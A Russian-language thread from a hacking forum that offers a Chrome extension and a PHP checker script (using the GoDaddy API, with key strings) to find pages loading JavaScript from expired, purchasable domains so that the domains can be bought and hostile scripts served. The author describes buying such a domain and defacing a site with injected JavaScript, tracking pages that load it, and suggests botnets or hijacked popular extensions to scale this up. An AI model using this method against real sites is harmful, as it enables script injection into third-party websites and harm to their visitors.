• XSS.stack #1 – первый литературный журнал от юзеров форума

фишинг Расширение Google Chrome: Сканирует посещаемые страницы и уведомляет о забытых, внешних JavaScript-файлах, на доменах, доступных для приобретения

Бывают иногда у расширения ложные срабатывания, но они не частые - когда ссылка стоит на один JS (на один сайт), но по факту там редирект на другой сайт (на другой JS) - тогда будет ложное cрабатывание. Это сами фиксите в ping.php который я выложил в самом первом посте или просто проверяйте вручную когда вам алерт выведет.


Часто, но домены на которых эти JS расположены, тоже часто заняты
-----------
Сегодня например попалось это
Проверяем у регистратора:
Посмотреть вложение 69749
На его поддомен cdn.bitrix24.ua думаю много сайтов есть которые ссылаются, смотрим на publicwww

Вот некоторые из них
Посмотреть вложение 69751
Вообще там мне выдало 1900 страниц по запросу bitrix24.ua

Правда нюанс есть, для регистрации домена в зоне .ua нужно торговый знак зарегистрировать
выглядит как приват из конторы ))
лайк👍
 
Отличная работа, если я не ошибаюсь эта атака называется Dependency Confusion, видел примеры реализации на таких языках как python и Golang, но что бы на сайтах прям в браузере, отличная задумка с расширением. Великолепно👍👍
 
Отличная работа, если я не ошибаюсь эта атака называется Dependency Confusion, видел примеры реализации на таких языках как python и Golang, но что бы на сайтах прям в браузере, отличная задумка с расширением. Великолепно👍👍
атака называется second order takeover - https://github.com/mhmdiaa/second-order
 
А кто вообще покупает отдельно домен с хостингом и хранит там js файлы с основного сайта? Или надеяться на то, что сайт, откуда наш сканируемый сайт брал виджеты или еще чето сдох. Да и без автоматизации софт практически бесполезен, с ума можно сойти пока руками найдешь подходящий сайт. А так идея неплохая
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
кто вообще покупает отдельно домен с хостингом и хранит там js файлы с основного сайта?
Многие хранят JS и картинки на других серверах. Это называется CDN
CDN (Content Delivery Network) — это сеть серверов, распределенных по разным географическим точкам, предназначенная для ускорения загрузки контента, такого как изображения, видео, стили и скрипты, на веб-сайтах. Основная идея CDN заключается в том, чтобы предоставить пользователям контент из сервера, который физически ближе к ним, что уменьшает время отклика и улучшает общую производительность веб-сайта.
Относительно встраивания скриптов через ссылки на другие сайты (часто используя CDN), это имеет несколько преимуществ:
  1. Быстрая загрузка: Если скрипты (например, JavaScript-файлы) размещены на популярных CDN, то с большой вероятностью они уже будут кешированы на компьютерах пользователей. Это позволяет им быстрее загружаться, так как файлы могут быть взяты из кеша браузера, а не загружены снова с сервера.
  2. Экономия трафика: Использование общедоступных CDN позволяет сэкономить трафик своего сервера, так как запросы к CDN могут обслуживаться из кеша, распределенного по всему миру, снижая нагрузку на собственные серверы.
  3. Надежность и отказоустойчивость: CDN предоставляют дополнительный уровень отказоустойчивости. Если сервер вашего сайта недоступен, скрипты все равно могут быть загружены из кеша CDN, улучшая опыт пользователей.
  4. Улучшение производительности: Поскольку CDN размещаются в различных географических точках, пользователи из разных регионов получают контент быстрее.
  5. Обновления и кеширование: Если веб-разработчики обновляют скрипты на CDN, эти обновления автоматически распространяются по всей сети CDN, что позволяет пользователям получать последние версии файлов.
Таким образом, встраивание скриптов через CDN – это стратегия оптимизации производительности, снижение нагрузки на сервер и улучшение пользовательского опыта.
Кратко суть: Вместо того чтобы держать JS на своем сервере (на своем сайте/хостинге в Китае допустим), люди держат JS и картинки на CDN - это как бы сеть серверов по всему миру и когда человек заходит к тебе на сайт, загрузка картинок и JS происходит с самого ближайшего к человеку сервера. Соответственно загружается быстрей.

Допустим ты находишься в России, и когда ты заходишь на свой сайт который хостится в Китае - твой пинг будет 100 мс
Но если ты находишься в России и твой сервер/хостинг/сайт находится в России - твой пинг будет 10-50 мс (то есть быстрей)
Особенно это заметно в онлайн играх. Допустим, если ты играешь в какую-то игру и решишь поиграть на китайском сервере - пинг будет больше, чем на российском, если ты из России.

И вот CDN отдает контент с ближайшего сервера к тебе. По этому люди загружаются свои JS/Картинки на другие хостинги/сервера (CDN).
99999999999999999.png
Но так же многие люди просто устанавливают себе скрипты с других сайтов, не выгружая их к себе на сервер. Например чаты jivosite, например какая-то реклама, например сервисы мониторинга посещений (крупные - яндекс, гугл и очень много всяких не популярных) ...

На данный момент мне уже попались: cdn.bitrix24.ua, сетка чьих-то доров к которой подключены 70+ сайтов (это в самом первом посте показываю), старый мониторинг серверов для одной игры (там люди ставили JS-скрипты мониторинга к себе на сайты), рекламная парнерка которая переехала на новый домен, но у людей остались установленные скрипты по которым реклама показывалась

И это я не ищу специально, просто пользуюсь браузером с установленным расширением.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Да и без автоматизации софт практически бесполезен, с ума можно сойти пока руками найдешь подходящий сайт.
Не нужно искать. Просто установи расширение и пользуйся браузером.
Конечно, если ты сидишь только на фейсбуке/инсте, вконтакте, ютубе и все - тебе ничего не попадется скорее всего.
Но если ты бываешь на разных сайтах, гуглишь что-нибудь, рано или поздно попадется и возможно это будет приятно

Да и без автоматизации софт практически бесполезен, с ума можно сойти пока руками найдешь подходящий сайт
Кто хочет массово сканировать - делайте ботнеты. Пусть люди гуглят, гадают капчи, заходят в личные кабинеты, скрипты будут лететь к вам на сервер. Либо покупайте расширения с уже большим кол-вом пользователей, добавляйте туда такую функцию и выпускайте обновление

Спасибо за полезный скрипт, очень интересно. Как вы считаете, какая тематика сайтов будет содержать больше нерабочих скриптов?
Старые cайты в любой тематике
 
Последнее редактирование:
Не нужно искать. Просто установи расширение и пользуйся браузером.
Конечно, если ты сидишь только на фейсбуке/инсте, вконтакте, ютубе и все - тебе ничего не попадется скорее всего.
Но если ты бываешь на разных сайтах, гуглишь что-нибудь, рано или поздно попадется и возможно это будет приятно
да я ради интереса 200 сайтов прошел руками безуспешно, естественно далеко не самые популярные, понимаю что найти можно, но времени займет прилично
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Расширение для Google Chrome работает в фоновом режиме и проверяет посещаемые вами страницы. Оно автоматически обнаруживает внешние JavaScript-файлы, которые загружаются на эти страницы, и сообщает вам о тех скриптах, которые не удается корректно загрузить.

Более того, данное расширение также производит анализ доменов, на которых расположены скрипты, с использованием API GoDaddy, чтобы определить их доступность для покупки. Если домен доступен для приобретения, расширение уведомляет вас об этой возможности.

Для чего нужно расширение?

Предположим, вы - администратор сайта, разместили внешний JavaScript на своем веб-сайте, будь то статистика посещений, виджет, чат или любой другой функциональный элемент. С течением времени владелец домена, на котором размещен этот скрипт, забывает продлить его. Вы, возможно, не замечаете, что ваш виджет.js или чат.js перестает работать, и на вашем сайте появляется ссылка на скрипт, домен которого сейчас продается.

При помощи расширения злоумышленник находит (случайно замечает) незагруженный внеший JavaScript, который не загрузился из-за истечения срока действия домена и покупает этот домен, чтобы разместить свой собственный скрипт. Это может называться "Доменное перехватывание" или "Доменный киберсквоттинг".

И вот здесь на помощь приходит данное расширение. Оно сканирует внешние JavaScript-файлы во время серфинга в фоновом режиме и проверяет доступность домена на котором они расположены для покупки. Если расширение обнаружит такой скрипт на одной из посещенных вами страниц, оно оповестит вас.

Пример
Решил пошарить по сайтам, запрос был "SAMP моды". Спустя немного времени, попал на чей-то старинный дор http://pogonina.com/?onf=skachat-server-mod-dlya-samp (который видимо сделали под загрузки, так еще и под СНГ - такое мы осуждаем). Расширение отработало и показало, что на сайте имеется ссылка на 2 JS-скрипта, которые расположены на домене cloud-js точка ru

Посмотрел сколько он стоит...
Решил купить, сделать дефейс этого *** для примера. Да и вообще посмотреть, быть может на него и другие cтаринные доры ссылаются еще.
Разместил на cloud-js точка ru/images/ajax2.js
Такой код:

Код:
window.addEventListener('load', function() {
    if(document.getElementById("baviku")){
        var htmlToInsert = "<div><h1 style='color:white;margin-top:300px;'>xss.pro</h1></div><div style='color:white;'>Не забывайте о внешних javascript'ах</div>";
        document.getElementById("baviku").insertAdjacentHTML('beforebegin', htmlToInsert);
        document.getElementById("baviku").remove();
    }
});
Скрипт просто подождет пока загрузится страничка, удалит блок с контентом дора и разместит надпись "xss.pro | Не забыйте о внешних javascript'ах"
Что получилось:
На cloud-js точка ru/images/ajax1.js разместил скрипт через который буду получить информацию на каких еще страницах установленн данный скрипт.

Потом перешёл на главную страницу. Это сайт про какую-то шахматистку, который взломали и разместили на нем дорвей.
На сайте кстати тоже есть внешние, забытые JS (домен правда не купить)
====
Как установить расширение?
1.Открываем Google Chrome, вставляем в адресную строку "chrome://extensions/" (Без кавычек) и переходим
2. Прожимаем кнопку "Load unpacked" или "Загрузить распакованное расширение" и указываем папку с распакованным архивом (Ссылка на архив с расширением будет внизу). Если все сделаете правильно, появится наше расширение (скрин ниже под спойлером).

3. В правом углу экрана выбираете расширение, настраиваете как вам удобно.
4. Для тех, кто не хочет проверять домены (можно купить домен или нет?) на моем сервере - отжимаете галочку "Проверять доступность домена для покупки с помощью сервера создателя" в настройках.

Кто хочет проверять на моем сервере, предупреждаю - я буду сохранять ссылки, которые будут приходить ко мне на сервер. Если сервер вдруг ляжет или его заблокируют, ответы вам идти не будут и ссылки проверяться тоже (просто предупреждаю, учитывайте это). Советую вам отжать галочку и поставить cкрипт к себе на хостинг, проверять с помощью своего скрипта, но это не обязательно - через мой тоже будет работать какое-то время (потыкать, посмотреть как работает расширение, думаю вам хватит)

Такое будет описание, если нажмете на ссылку "[Где взять скрипт проверки]"
Не забудьте заменить на свои API ключи
PHP:
$apiKey = "gGrgXqQquG3u_XnAqfboqKEkwoXkwofwB27"; // Замените на ваш ключ API
$apiSecret = "NxssddlfiGwxxXeigjoGiegyik"; // Замените на ваш секретный код API
ping.php
PHP:
<?php
header('Access-Control-Allow-Origin: *');
header("Content-Security-Policy: default-src 'self' *;");

function isLinkAvailable($url) {
    $headers = @get_headers($url);
    return $headers && (strpos($headers[0], '200') !== false || strpos($headers[0], '30') === 0);
}

function getDomainFromUrl($url) {
    $urlParts = parse_url($url);
    if (isset($urlParts['host'])) {
        return $urlParts['host'];
    }
    return null;
}

if ($_SERVER["REQUEST_METHOD"] === "POST") {
    if (isset($_POST["linkjs"]) && isset($_POST["link"])) {
        $linkjs = $_POST["linkjs"];
        $link = $_POST["link"];
        if (isLinkAvailable($linkjs)) {
            echo "Ссылка доступна.";
        } else {
            echo "Ссылка недоступна. | Шаг 1";
            $domain = getDomainFromUrl($linkjs);
            $checkType = "FULL"; // Выберите 'FAST' или 'FULL'
            $forTransfer = false; // Выберите true или false

            $baseURL = "https://api.godaddy.com"; // URL для продукционного окружения
            // $baseURL = "https://api.ote-godaddy.com"; // URL для тестового окружения

            $url = "$baseURL/v1/domains/available?domain=$domain&checkType=$checkType&forTransfer=$forTransfer";

            $apiKey = "gGrgXqQquG3u_XnAqfboqKEkwoXkwofwB27"; // Замените на ваш ключ API
            $apiSecret = "NxssddlfiGwxxXeigjoGiegyik"; // Замените на ваш секретный код API

            $headers = array(
                "Authorization: sso-key $apiKey:$apiSecret"
            );

            $curl = curl_init();
            curl_setopt_array($curl, array(
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_HTTPHEADER => $headers,
            ));

            $response = curl_exec($curl);
            curl_close($curl);

            $data = json_decode($response, true);

            if ($data["available"]) {
                echo "<br>Домен $domain доступен для покупки. | Шаг 2";
                // Дополнительные действия при доступности домена
            } else {
                echo "<br>Домен $domain недоступен для покупки.";
                // Дополнительные действия при недоступности домена
            }
        }
    } else {
        echo "Ссылка не была передана.";
    }
} else {echo "Доступен";}
?>
Скачать расширение (onion)​

портируйте плз это под firefox

годнота, спасибо! а можно такое же, только для Firefox?
присоединяюсь
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх